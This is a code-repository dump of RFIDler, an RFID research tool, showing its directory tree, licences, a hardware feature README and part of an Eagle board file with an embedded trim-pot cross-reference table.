Repository: AdamLaurie/RFIDler
Branch: master
Commit: 7206bf9e1ac8
Files: 199
Total size: 18.9 MB
Directory structure:
gitextract_2oo4yq46/
├── .gitignore
├── COPYING
├── Hardware/
│ └── Pic32/
│ ├── COPYING.txt
│ ├── README.txt
│ ├── RFIDLER V22 beta.brd
│ └── RFIDLER V22 beta.sch
├── README.md
├── conference-talks/
│ ├── 2017/
│ │ └── KevSheldrake-44conslides.tgz
│ └── 2018/
│ └── KevSheldrake-DC4420-slides.tgz
├── firmware/
│ └── Pic32/
│ ├── COPYING
│ ├── HIDBoot_MX795_Hex_Load.X/
│ │ ├── HIDBoot.X.production.hex
│ │ ├── Makefile
│ │ └── nbproject/
│ │ ├── configurations.xml
│ │ ├── project.properties
│ │ └── project.xml
│ └── RFIDler.X/
│ ├── Makefile
│ ├── dist/
│ │ ├── debug/
│ │ │ └── production/
│ │ │ ├── RFIDler.X.production.elf
│ │ │ └── RFIDler.X.production.hex
│ │ └── default/
│ │ └── production/
│ │ └── RFIDler.X.production.hex
│ ├── include/
│ │ ├── FSconfig.h
│ │ ├── HardwareProfile.h
│ │ ├── analogue.h
│ │ ├── ask.h
│ │ ├── auth.h
│ │ ├── auto.h
│ │ ├── awid.h
│ │ ├── clock.h
│ │ ├── comms.h
│ │ ├── config.h
│ │ ├── debug_pins.h
│ │ ├── detect.h
│ │ ├── em.h
│ │ ├── emulate.h
│ │ ├── fdxb.h
│ │ ├── fsk.h
│ │ ├── hdx.h
│ │ ├── hid.h
│ │ ├── hitag.h
│ │ ├── hitag2crack.h
│ │ ├── hitagcrypto.h
│ │ ├── indala.h
│ │ ├── iso_7816.h
│ │ ├── led.h
│ │ ├── login.h
│ │ ├── mcp414x.h
│ │ ├── nvm.h
│ │ ├── paxton.h
│ │ ├── psk.h
│ │ ├── q5.h
│ │ ├── read.h
│ │ ├── rfidler.h
│ │ ├── rwd.h
│ │ ├── sc_config.h
│ │ ├── sdcard.h
│ │ ├── select.h
│ │ ├── sniff.h
│ │ ├── spi.h
│ │ ├── t55x7.h
│ │ ├── tags.h
│ │ ├── tamagotchi.h
│ │ ├── uart3.h
│ │ ├── uid.h
│ │ ├── unique.h
│ │ ├── usb_config.h
│ │ ├── util.h
│ │ ├── vtag.h
│ │ ├── wiegand.h
│ │ └── write.h
│ ├── nbproject/
│ │ ├── Makefile-debug.mk
│ │ ├── Makefile-default.mk
│ │ ├── Makefile-genesis.properties
│ │ ├── Makefile-impl.mk
│ │ ├── Makefile-local-debug.mk
│ │ ├── Makefile-local-default.mk
│ │ ├── Makefile-variables.mk
│ │ ├── Package-debug.bash
│ │ ├── Package-default.bash
│ │ ├── configurations.xml
│ │ ├── private/
│ │ │ ├── configurations.xml
│ │ │ └── private.xml
│ │ ├── project.properties
│ │ └── project.xml
│ ├── procdefs.ld
│ └── src/
│ ├── analogue.c
│ ├── ask.c
│ ├── auth.c
│ ├── auto.c
│ ├── awid.c
│ ├── clock.c
│ ├── comms.c
│ ├── config.c
│ ├── debug_pins.c
│ ├── detect.c
│ ├── em.c
│ ├── emulate.c
│ ├── fdxb.c
│ ├── fsk.c
│ ├── hdx.c
│ ├── hid.c
│ ├── hitag.c
│ ├── hitag2crack.c
│ ├── hitagcrypto.c
│ ├── indala.c
│ ├── iso7816.c
│ ├── isr.c
│ ├── led.c
│ ├── login.c
│ ├── main.c
│ ├── mcp414x.c
│ ├── nvm.c
│ ├── paxton.c
│ ├── psk.c
│ ├── q5.c
│ ├── read.c
│ ├── rwd.c
│ ├── sc.c
│ ├── sdcard.c
│ ├── select.c
│ ├── sniff.c
│ ├── spi.c
│ ├── t55x7.c
│ ├── tags.c
│ ├── tamagotchi.c
│ ├── uart3.c
│ ├── uid.c
│ ├── unique.c
│ ├── usb_descriptors.c
│ ├── util.c
│ ├── vtag.c
│ ├── wiegand.c
│ └── write.c
├── hitag2crack/
│ ├── README
│ ├── crack2/
│ │ ├── HardwareProfile.h
│ │ ├── Makefile
│ │ ├── README
│ │ ├── hitagcrypto.c
│ │ ├── hitagcrypto.h
│ │ ├── ht2crack2buildtable.c
│ │ ├── ht2crack2gentest.c
│ │ ├── ht2crack2search.c
│ │ ├── ht2crack2utils.c
│ │ ├── ht2crack2utils.h
│ │ ├── rfidler.h
│ │ ├── runalltests.sh
│ │ ├── runtest.sh
│ │ ├── util.h
│ │ └── utilpart.c
│ ├── crack3/
│ │ ├── HardwareProfile.h
│ │ ├── Makefile
│ │ ├── README
│ │ ├── hitagcrypto.c
│ │ ├── hitagcrypto.h
│ │ ├── ht2crack3.c
│ │ ├── ht2test.c
│ │ ├── rfidler.h
│ │ ├── util.h
│ │ └── utilpart.c
│ └── crack4/
│ ├── HardwareProfile.h
│ ├── Makefile
│ ├── README
│ ├── hitagcrypto.c
│ ├── hitagcrypto.h
│ ├── ht2crack2utils.c
│ ├── ht2crack2utils.h
│ ├── ht2crack4.c
│ ├── rfidler.h
│ ├── util.h
│ └── utilpart.c
├── linux-support/
│ └── 71-rfidler-lf-cdc-blacklist.rules
├── python/
│ ├── Makefile
│ ├── README.md
│ ├── RFIDler/
│ │ └── __init__.py
│ ├── rfidler.py
│ └── setup.py
├── windows driver/
│ ├── inf/
│ │ ├── rfidlercdc.cat
│ │ └── rfidlercdc.inf
│ └── rfidler-install.txt
└── windows-src/
├── COPYING.txt
├── RFIDler-install/
│ ├── resource.h
│ ├── rfidinstall.cpp
│ ├── rfidler-install.rc
│ ├── rfidlerinstall.sln
│ ├── rfidlerinstall.vcxproj
│ ├── rfidlerinstall.vcxproj.filters
│ └── win-compat.manifest
└── RFIDler-mon/
├── deviceinfo.cpp
├── devicetracker.cpp
├── monitoroptions.cpp
├── resource.h
├── rfidlermonitor.rc
├── rfidlermonitor.sln
├── rfidlermonitor.vcxproj
├── rfidlermonitor.vcxproj.filters
├── rfidmonitor.cpp
├── rfidmonitor.h
├── taskbarfeatures.cpp
├── wcs_utilities.cpp
├── win-compat.manifest
└── windowsversion.cpp
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
# data save files
python/*.xml
# python build dir
python/dist
python/build
python/RFIDler.egg-info/
# VIM files
*.swp
*.swo
# MacOS directory files
.DS_Store
# python compile
*.pyc
__pycache__
# User-specific files
*.suo
*.user
*.sln.docstates
# Build results
#[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
x64/
build/
bld/
[Bb]in/
[Oo]bj/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
#NUNIT
*.VisualState.xml
TestResult.xml
# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c
*_i.c
*_p.c
*_i.h
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Chutzpah Test files
_Chutzpah*
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opensdf
*.sdf
*.cachefile
# Visual Studio profiler
*.psess
*.vsp
*.vspx
# TFS 2012 Local Workspace
$tf/
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user
# JustCode is a .NET coding addin-in
.JustCode
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# NCrunch
*.ncrunch*
_NCrunch_*
.*crunch*.local.xml
# MightyMoose
*.mm.*
AutoTest.Net/
# Web workbench (sass)
.sass-cache/
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# NuGet Packages Directory
packages/
## TODO: If the tool you use requires repositories.config uncomment the next line
#!packages/repositories.config
# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
# This line needs to be after the ignore of the build folder (and the packages folder if the line above has been uncommented)
!packages/build/
# Windows Azure Build Output
csx/
*.build.csdef
# Windows Store app package directory
AppPackages/
# Others
sql/
*.Cache
ClientBin/
[Ss]tyle[Cc]op.*
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.pfx
*.publishsettings
node_modules/
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file to a newer
# Visual Studio version. Backup files are not needed, because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
# SQL Server files
*.mdf
*.ldf
# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings
# Microsoft Fakes
FakesAssemblies/
*.bak
================================================
FILE: COPYING
================================================
RFIDler is (C) 2013-2014 Aperture Labs Ltd.
The different contributions to RFIDler are collected here but licensed differently.
Rfidler firmware is licensed under a similar license to NMAP, as described here:
https://github.com/ApertureLabsLtd/RFIDler/RFIDler/firmware/COPYING
Rfidler hardware design is licensed under the Creative Commons
Attribution-NonCommercial-ShareAlike 4.0 International License as described here:
https://github.com/ApertureLabsLtd/RFIDler/RFIDler/hardware/Pic32/COPYING.txt
Windows tools for RFIDler are licensed under the 'BSD 2-Clause License', as described here:
https://github.com/ApertureLabsLtd/RFIDler/RFIDler/windows-src/COPYING.txt
If you are interested in commercial licencing of this work please contact sales at aperturelabs.com.
================================================
FILE: Hardware/Pic32/COPYING.txt
================================================
RFIDler is (C) 2013-2014 Aperture Labs Ltd.
This work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.
To view a copy of this license, visit http://creativecommons.org/licenses/by-nc-sa/4.0/
If you are interested in commercial licencing of this work please contact sales at aperturelabs.com.
================================================
FILE: Hardware/Pic32/README.txt
================================================
Rfidler Beta V22 By Zac Franken For Aperture Labs Ltd
These files are licenced under the creative commons licence See the seperate COPYING file
Some of the analog portion of RFIDler comes from a design by edude: http://playground.arduino.cc/Main/DIYRFIDReader#.Uz8tg1cmBaT
which is based on a schematic by Micah Dowty: http://scanlime.org/2008/08/simplest-rfid-reader
Rfidler Hardware Features:
Detection and decoding of ASK, FSK, and PSK RFID Low frequency tags ~125KHz
Emulation of ASK, FSK, and PSK RFID Low frequency tags
Sniffing of ASK, FSK, and PSK RFID Low frequency tags
Adjustment of comparator thresholds via a digital pot via software, a trim pot and a fixed value resistor voltage divider.
SD card interface
Integrated Chip Card interface
Relay driver
USB interface
Serial interface
Wiegand interfaces
User LED
User button
and an as yet untested LC (Inductance and Capacitance) meter circuit (Still in development) for testing the inductance of your own coils.
There is more to come here, but I wanted to get the schematics up as soon as I could.
Zac
================================================
FILE: Hardware/Pic32/RFIDLER V22 beta.brd
================================================
RFIDLER V22 BETA (c) 2014
Aperture Labs LtdRC4RG6T F ET F ETFFEETRG7RG8RG9RA0RE8RE9RB5RB4RB3RA9RA10RB8RB9RB10RB11RA1RA1RF13RF12RB12RB13RB14RB15RD14RD15RF4RF5RF2RF8RA2RA3RA4RA5RA14RA153V35V5VGND3V3RC3RC2RC1RE7RE6RE5RG15RE4RE3RE2RG13RG12RG14RE1RE0RA7RA6RG0RG1RF1RF0RD7RD6RD5RD4RD13RD12RD3RD2RD1RC14RC13RD0RD11RD10RD9RD8!MCLR3V3GNDPGED2/RB7PGEC2/RB6RB2RB1RB0-++-V22BETA+-AMR's Library<b>SC-70 Package</b>>NAME>VALUE***>NAME>VALUE>NAME*>VALUE<b>PIN HEADER</b>>NAME>VALUE**>NAME>VALUE<b>Small Outline Transistor</b>3212>NAME>VALUE123567vccresetclkgndvppi/oSOT 663>NAME>VALUE>NAME>VALUE>NAME>VALUE<h3>SparkFun Electronics' preferred foot prints</h3>
In this library you'll find resistors, capacitors, inductors, test points, jumper pads, etc.<br><br>
We've spent an enormous amount of time creating and checking these footprints and parts, but it is the end user's responsibility to ensure correctness and suitablity for a given componet or application. If you enjoy using this library, please buy one of our products at www.sparkfun.com.
<br><br>
<b>Licensing:</b> CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.>NAME>VALUE<h3>SparkFun Electronics' preferred foot prints</h3>
In this library you'll find discrete semiconductors- transistors, diodes, TRIACs, optoisolators, etc.<br><br>
We've spent an enormous amount of time creating and checking these footprints and parts, but it is the end user's responsibility to ensure correctness and suitablity for a given componet or application. If you enjoy using this library, please buy one of our products at www.sparkfun.com.
<br><br>
<b>Licensing:</b> CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.>NAME>VALUE<h3>SparkFun Electronics' preferred foot prints</h3>
We've spent an enormous amount of time creating and checking these footprints and parts. If you enjoy using this library, please buy one of our products at www.sparkfun.com.
<br><br>
<b>Licensing:</b> CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.This footprint was designed to help hold the alignment of a through-hole component (i.e. 6-pin header) while soldering it into place.
You may notice that each hole has been shifted either up or down by 0.005 of an inch from it's more standard position (which is a perfectly straight line).
This slight alteration caused the pins (the squares in the middle) to touch the edges of the holes. Because they are alternating, it causes a "brace"
to hold the component in place. 0.005 has proven to be the perfect amount of "off-center" position when using our standard breakaway headers.
Although looks a little odd when you look at the bare footprint, once you have a header in there, the alteration is very hard to notice. Also,
if you push a header all the way into place, it is covered up entirely on the bottom side. This idea of altering the position of holes to aid alignment
will be further integrated into the Sparkfun Library for other footprints. It can help hold any component with 3 or more connection pins.>NAME>VALUE>NAME>VALUE<b>Linear Devices</b><p>
Operational amplifiers, comparators, voltage regulators, ADCs, DACs, etc.<p>
<author>Created by librarian@cadsoft.de</author><b>Small Outline Package 14</b>>NAME>VALUE<b>Resistors, Capacitors, Inductors</b><p>
Based on the previous libraries:
<ul>
<li>r.lbr
<li>cap.lbr
<li>cap-fe.lbr
<li>captant.lbr
<li>polcap.lbr
<li>ipc-smd.lbr
</ul>
All SMD packages are defined according to the IPC specifications and CECC<p>
<author>Created by librarian@cadsoft.de</author><p>
<p>
for Electrolyt Capacitors see also :<p>
www.bccomponents.com <p>
www.panasonic.com<p>
www.kemet.com<p>
<p>
for trimmer refence see : <u>www.electrospec-inc.com/cross_references/trimpotcrossref.asp</u><p>
<map name="nav_main">
<area shape="rect" coords="0,1,140,23" href="../military_specs.asp" title="">
<area shape="rect" coords="0,24,140,51" href="../about.asp" title="">
<area shape="rect" coords="1,52,140,77" href="../rfq.asp" title="">
<area shape="rect" coords="0,78,139,103" href="../products.asp" title="">
<area shape="rect" coords="1,102,138,128" href="../excess_inventory.asp" title="">
<area shape="rect" coords="1,129,138,150" href="../edge.asp" title="">
<area shape="rect" coords="1,151,139,178" href="../industry_links.asp" title="">
<area shape="rect" coords="0,179,139,201" href="../comments.asp" title="">
<area shape="rect" coords="1,203,138,231" href="../directory.asp" title="">
<area shape="default" nohref>
</map>
<html>
<title></title>
<LINK REL="StyleSheet" TYPE="text/css" HREF="style-sheet.css">
<body bgcolor="#ffffff" text="#000000" marginwidth="0" marginheight="0" topmargin="0" leftmargin="0">
<table border=0 cellspacing=0 cellpadding=0 width="100%" cellpaddding=0 height="55%">
<tr valign="top">
</td>
<! <td width="10"> </td>
<td width="90%">
<b><font color="#0000FF" size="4">TRIM-POT CROSS REFERENCE</font></b>
<P>
<TABLE BORDER=0 CELLSPACING=1 CELLPADDING=2>
<TR>
<TD COLSPAN=8>
<FONT SIZE=3 FACE=ARIAL><B>RECTANGULAR MULTI-TURN</B></FONT>
</TD>
</TR>
<TR>
<TD ALIGN=CENTER>
<B>
<FONT SIZE=3 FACE=ARIAL color="#FF0000">BOURNS</FONT>
</B>
</TD>
<TD ALIGN=CENTER>
<B>
<FONT SIZE=3 FACE=ARIAL color="#FF0000">BI TECH</FONT>
</B>
</TD>
<TD ALIGN=CENTER>
<B>
<FONT SIZE=3 FACE=ARIAL color="#FF0000">DALE-VISHAY</FONT>
</B>
</TD>
<TD ALIGN=CENTER>
<B>
<FONT SIZE=3 FACE=ARIAL color="#FF0000">PHILIPS/MEPCO</FONT>
</B>
</TD>
<TD ALIGN=CENTER>
<B>
<FONT SIZE=3 FACE=ARIAL color="#FF0000">MURATA</FONT>
</B>
</TD>
<TD ALIGN=CENTER>
<B>
<FONT SIZE=3 FACE=ARIAL color="#FF0000">PANASONIC</FONT>
</B>
</TD>
<TD ALIGN=CENTER>
<B>
<FONT SIZE=3 FACE=ARIAL color="#FF0000">SPECTROL</FONT>
</B>
</TD>
<TD ALIGN=CENTER>
<B>
<FONT SIZE=3 FACE=ARIAL color="#FF0000">MILSPEC</FONT>
</B>
</TD><TD> </TD>
</TR>
<TR>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3 >
3005P<BR>
3006P<BR>
3006W<BR>
3006Y<BR>
3009P<BR>
3009W<BR>
3009Y<BR>
3057J<BR>
3057L<BR>
3057P<BR>
3057Y<BR>
3059J<BR>
3059L<BR>
3059P<BR>
3059Y<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
89P<BR>
89W<BR>
89X<BR>
89PH<BR>
76P<BR>
89XH<BR>
78SLT<BR>
78L ALT<BR>
56P ALT<BR>
78P ALT<BR>
T8S<BR>
78L<BR>
56P<BR>
78P<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
T18/784<BR>
783<BR>
781<BR>
-<BR>
-<BR>
-<BR>
2199<BR>
1697/1897<BR>
1680/1880<BR>
2187<BR>
-<BR>
-<BR>
-<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
8035EKP/CT20/RJ-20P<BR>
-<BR>
RJ-20X<BR>
-<BR>
-<BR>
-<BR>
1211L<BR>
8012EKQ ALT<BR>
8012EKR ALT<BR>
1211P<BR>
8012EKJ<BR>
8012EKL<BR>
8012EKQ<BR>
8012EKR<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
2101P<BR>
2101W<BR>
2101Y<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
2102L<BR>
2102S<BR>
2102Y<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
EVMCOG<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
43P<BR>
43W<BR>
43Y<BR>
-<BR>
-<BR>
-<BR>
-<BR>
40L<BR>
40P<BR>
40Y<BR>
70Y-T602<BR>
70L<BR>
70P<BR>
70Y<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
RT/RTR12<BR>
RT/RTR12<BR>
RT/RTR12<BR>
-<BR>
RJ/RJR12<BR>
RJ/RJR12<BR>
RJ/RJR12<BR></FONT>
</TD>
</TR>
<TR>
<TD COLSPAN=8>
</TD>
</TR>
<TR>
<TD COLSPAN=8>
<FONT SIZE=4 FACE=ARIAL><B>SQUARE MULTI-TURN</B></FONT>
</TD>
</TR>
<TR>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>BOURN</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>BI TECH</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>DALE-VISHAY</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>PHILIPS/MEPCO</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>MURATA</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>PANASONIC</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>SPECTROL</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>MILSPEC</B></FONT>
</TD>
</TR>
<TR>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
3250L<BR>
3250P<BR>
3250W<BR>
3250X<BR>
3252P<BR>
3252W<BR>
3252X<BR>
3260P<BR>
3260W<BR>
3260X<BR>
3262P<BR>
3262W<BR>
3262X<BR>
3266P<BR>
3266W<BR>
3266X<BR>
3290H<BR>
3290P<BR>
3290W<BR>
3292P<BR>
3292W<BR>
3292X<BR>
3296P<BR>
3296W<BR>
3296X<BR>
3296Y<BR>
3296Z<BR>
3299P<BR>
3299W<BR>
3299X<BR>
3299Y<BR>
3299Z<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
66P ALT<BR>
66W ALT<BR>
66X ALT<BR>
66P ALT<BR>
66W ALT<BR>
66X ALT<BR>
-<BR>
64W ALT<BR>
-<BR>
64P ALT<BR>
64W ALT<BR>
64X ALT<BR>
64P<BR>
64W<BR>
64X<BR>
66X ALT<BR>
66P ALT<BR>
66W ALT<BR>
66P<BR>
66W<BR>
66X<BR>
67P<BR>
67W<BR>
67X<BR>
67Y<BR>
67Z<BR>
68P<BR>
68W<BR>
68X<BR>
67Y ALT<BR>
67Z ALT<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
5050<BR>
5091<BR>
5080<BR>
5087<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
T63YB<BR>
T63XB<BR>
-<BR>
-<BR>
-<BR>
5887<BR>
5891<BR>
5880<BR>
-<BR>
-<BR>
-<BR>
T93Z<BR>
T93YA<BR>
T93XA<BR>
T93YB<BR>
T93XB<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
8026EKP<BR>
8026EKW<BR>
8026EKM<BR>
8026EKP<BR>
8026EKB<BR>
8026EKM<BR>
1309X<BR>
1309P<BR>
1309W<BR>
8024EKP<BR>
8024EKW<BR>
8024EKN<BR>
RJ-9P/CT9P<BR>
RJ-9W<BR>
RJ-9X<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
3103P<BR>
3103Y<BR>
3103Z<BR>
3103P<BR>
3103Y<BR>
3103Z<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
3105P/3106P<BR>
3105W/3106W<BR>
3105X/3106X<BR>
3105Y/3106Y<BR>
3105Z/3105Z<BR>
3102P<BR>
3102W<BR>
3102X<BR>
3102Y<BR>
3102Z<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
EVMCBG<BR>
EVMCCG<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
55-1-X<BR>
55-4-X<BR>
55-3-X<BR>
55-2-X<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
50-2-X<BR>
50-4-X<BR>
50-3-X<BR>
-<BR>
-<BR>
-<BR>
64P<BR>
64W<BR>
64X<BR>
64Y<BR>
64Z<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
RT/RTR22<BR>
RT/RTR22<BR>
RT/RTR22<BR>
RT/RTR22<BR>
RJ/RJR22<BR>
RJ/RJR22<BR>
RJ/RJR22<BR>
RT/RTR26<BR>
RT/RTR26<BR>
RT/RTR26<BR>
RJ/RJR26<BR>
RJ/RJR26<BR>
RJ/RJR26<BR>
RJ/RJR26<BR>
RJ/RJR26<BR>
RJ/RJR26<BR>
RT/RTR24<BR>
RT/RTR24<BR>
RT/RTR24<BR>
RJ/RJR24<BR>
RJ/RJR24<BR>
RJ/RJR24<BR>
RJ/RJR24<BR>
RJ/RJR24<BR>
RJ/RJR24<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR></FONT>
</TD>
</TR>
<TR>
<TD COLSPAN=8>
</TD>
</TR>
<TR>
<TD COLSPAN=8>
<FONT SIZE=4 FACE=ARIAL><B>SINGLE TURN</B></FONT>
</TD>
</TR>
<TR>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>BOURN</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>BI TECH</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>DALE-VISHAY</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>PHILIPS/MEPCO</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>MURATA</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>PANASONIC</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>SPECTROL</B></FONT>
</TD>
<TD ALIGN=CENTER>
<FONT SIZE=3 FACE=ARIAL><B>MILSPEC</B></FONT>
</TD>
</TR>
<TR>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
3323P<BR>
3323S<BR>
3323W<BR>
3329H<BR>
3329P<BR>
3329W<BR>
3339H<BR>
3339P<BR>
3339W<BR>
3352E<BR>
3352H<BR>
3352K<BR>
3352P<BR>
3352T<BR>
3352V<BR>
3352W<BR>
3362H<BR>
3362M<BR>
3362P<BR>
3362R<BR>
3362S<BR>
3362U<BR>
3362W<BR>
3362X<BR>
3386B<BR>
3386C<BR>
3386F<BR>
3386H<BR>
3386K<BR>
3386M<BR>
3386P<BR>
3386S<BR>
3386W<BR>
3386X<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
25P<BR>
25S<BR>
25RX<BR>
82P<BR>
82M<BR>
82PA<BR>
-<BR>
-<BR>
-<BR>
91E<BR>
91X<BR>
91T<BR>
91B<BR>
91A<BR>
91V<BR>
91W<BR>
25W<BR>
25V<BR>
25P<BR>
-<BR>
25S<BR>
25U<BR>
25RX<BR>
25X<BR>
72XW<BR>
72XL<BR>
72PM<BR>
72RX<BR>
-<BR>
72PX<BR>
72P<BR>
72RXW<BR>
72RXL<BR>
72X<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
-<BR>
-<BR>
-<BR>
T7YB<BR>
T7YA<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
-<BR>
TXD<BR>
TYA<BR>
TYP<BR>
-<BR>
TYD<BR>
TX<BR>
-<BR>
150SX<BR>
100SX<BR>
102T<BR>
101S<BR>
190T<BR>
150TX<BR>
101<BR>
-<BR>
-<BR>
101SX<BR></FONT>
</TD>
<TD BGCOLOR="#cccccc" ALIGN=CENTER><FONT FACE=ARIAL SIZE=3>
ET6P<BR>
ET6S<BR>
ET6X<BR>
RJ-6W/8014EMW<BR>
RJ-6P/8014EMP<BR>
RJ-6X/8014EMX<BR>
TM7W<BR>
TM7P<BR>
TM7X<BR>
-<BR>
8017SMS<BR>
-<BR>
8017SMB<BR>
8017SMA<BR>
-<BR>
-<BR>
CT-6W<BR>
CT-6H<BR>
CT-6P<BR>
CT-6R<BR>
-<BR>
CT-6V<BR>
CT-6X<BR>
-<BR>
-<BR>
8038EKV<BR>
-<BR>
8038EKX<BR>
-<BR>
-<BR>
8038EKP<BR>
8038EKZ<BR>
